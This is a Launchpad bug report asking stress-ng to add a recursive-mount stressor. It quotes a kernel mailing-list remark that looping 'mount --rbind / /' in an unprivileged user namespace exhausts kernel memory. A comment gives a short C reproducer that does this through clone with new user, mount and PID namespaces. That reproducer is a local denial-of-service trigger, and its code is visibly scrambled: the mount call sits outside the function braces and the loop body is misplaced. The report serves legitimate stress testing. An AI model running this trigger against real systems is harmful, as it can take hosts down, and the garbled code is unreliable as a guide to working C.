add stressors for recursive mounts
Bug #1542010 reported by
Seth Arnold
This bug affects 1 person
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
Stress-ng |
Fix Released
|
Medium
|
Colin Ian King | ||
stress-ng (Ubuntu) |
Fix Released
|
Medium
|
Colin Ian King |
Bug Description
I saw an interesting exchange on LKML the other day about user namespaces then allowing users to perform mounts, leading to unbounded kernel memory use:
http://
"what you are doing is essentially mount --rbind / / in infinite
loop in luserns. Which ends up eating all memory."
http://
This might be a useful direction to take stress-ng if it doesn't already perform unprivileged user mounts.
Thanks
Changed in stress-ng (Ubuntu): | |
status: | New → In Progress |
importance: | Undecided → Medium |
assignee: | nobody → Colin Ian King (colin-king) |
Changed in stress-ng: | |
status: | New → In Progress |
importance: | Undecided → Medium |
assignee: | nobody → Colin Ian King (colin-king) |
summary: |
- recursive mounts + add stressors for recursive mounts |
Changed in stress-ng: | |
status: | Fix Committed → Fix Released |
To post a comment you must log in.
I got the reproducer down to the following minimal code:
#define _GNU_SOURCE
#include <unistd.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/mount.h>
int loop(void *arg)
mount( "/", "/", "", MS_BIND | MS_REC, 0);
{
for (;;)
return 0;
}
int main()
{
int pid, status;
char stack[65536];
pid = clone(loop, &stack[ sizeof( stack)- 8], CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWPID, 0, 0);
while (waitpid(pid, &status, __WALL) != pid);
return 0;
}